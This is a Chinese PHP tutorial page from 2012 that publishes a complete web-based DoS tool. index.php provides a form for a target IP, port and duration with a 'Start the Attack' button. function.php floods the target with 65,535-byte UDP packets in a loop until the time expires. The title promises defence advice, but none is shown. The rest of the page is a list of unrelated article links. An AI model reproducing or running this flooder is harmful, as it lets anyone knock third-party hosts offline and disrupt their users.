php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
生成sessionid和随机密码的例子
Oct 09 PHP
NO3第三帝国留言簿制作过程
Oct 09 PHP
PHP file_get_contents 函数超时的几种解决方法
Jul 30 PHP
php 运行效率总结(提示程序速度)
Nov 26 PHP
PHP之短标签开启设置
Jun 17 PHP
php下载excel无法打开的解决方法
Dec 24 PHP
PHP判断表单复选框选中状态完整例子
Jun 24 PHP
php将数组存储为文本文件方法汇总
Oct 28 PHP
php面向对象值单例模式
May 03 PHP
php根据数据id自动生成编号的实现方法
Oct 16 PHP
PHP面向对象之事务脚本模式(详解)
Jun 07 PHP
自定义Laravel (monolog)日志位置,并增加请求ID的实现
Oct 17 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
Banner程序
2006/10/09 PHP
php预定义常量
2006/12/25 PHP
dhtmlxTree目录树增加右键菜单以及拖拽排序的实现方法
2013/04/26 PHP
ThinkPHP使用UTFWry地址库进行IP定位实例
2014/04/01 PHP
PHP动态规划解决0-1背包问题实例分析
2015/03/23 PHP
php比较两个字符串长度的方法
2015/07/13 PHP
php中html_entity_decode实现HTML实体转义
2018/06/13 PHP
PHP实现获取ip地址的5种方法,以及插入用户登录日志操作示例
2019/02/28 PHP
tp5.1 框架路由操作-URL生成实例分析
2020/05/26 PHP
动态为事件添加js代码示例
2009/02/15 Javascript
JQuery小知识
2010/10/15 Javascript
js判断选择时间不能小于当前时间的示例代码
2013/09/24 Javascript
js中的this关键字详解
2013/09/25 Javascript
javascript实现类似百度分享功能的方法
2015/07/27 Javascript
后端接收不到AngularJs中$http.post发送的数据原因分析及解决办法
2016/07/05 Javascript
JS继承之借用构造函数继承和组合继承
2016/09/07 Javascript
Node.js开发第三方微信公众平台
2017/06/05 Javascript
zTree异步加载展开第一级节点的实现方法
2017/09/05 Javascript
详解vue项目打包后通过百度的BAE发布到网上的流程
2018/03/05 Javascript
vue使用localStorage保存登录信息 适用于移动端、PC端
2019/05/27 Javascript
微信小程序之滑动页面隐藏和显示组件功能的实现代码
2020/06/19 Javascript
JavaScript手写数组的常用函数总结
2020/11/22 Javascript
vue动态合并单元格并添加小计合计功能示例
2020/11/26 Vue.js
聊聊vue 中的v-on参数问题
2021/01/29 Vue.js
pycharm new project变成灰色的解决方法
2019/06/27 Python
通过python检测字符串的字母
2020/02/18 Python
浅谈Pytorch中的自动求导函数backward()所需参数的含义
2020/02/29 Python
pycharm激活码快速激活及使用步骤
2020/03/12 Python
将HTML5 Canvas的内容保存为图片借助toDataURL实现
2013/05/20 HTML / CSS
Otticanet英国:最顶尖的世界名牌眼镜, 能得到打折季的价格
2019/02/10 全球购物
大学生关于奋斗的演讲稿
2014/01/09 职场文书
求职信模板
2014/05/23 职场文书
行政人事专员岗位职责
2015/04/07 职场文书
python实战之90行代码写个猜数字游戏
2021/04/22 Python
centos8安装MongoDB的详细过程
2021/10/24 MongoDB
Flutter集成高德地图并添加自定义Maker的实践
2022/04/07 Java/Android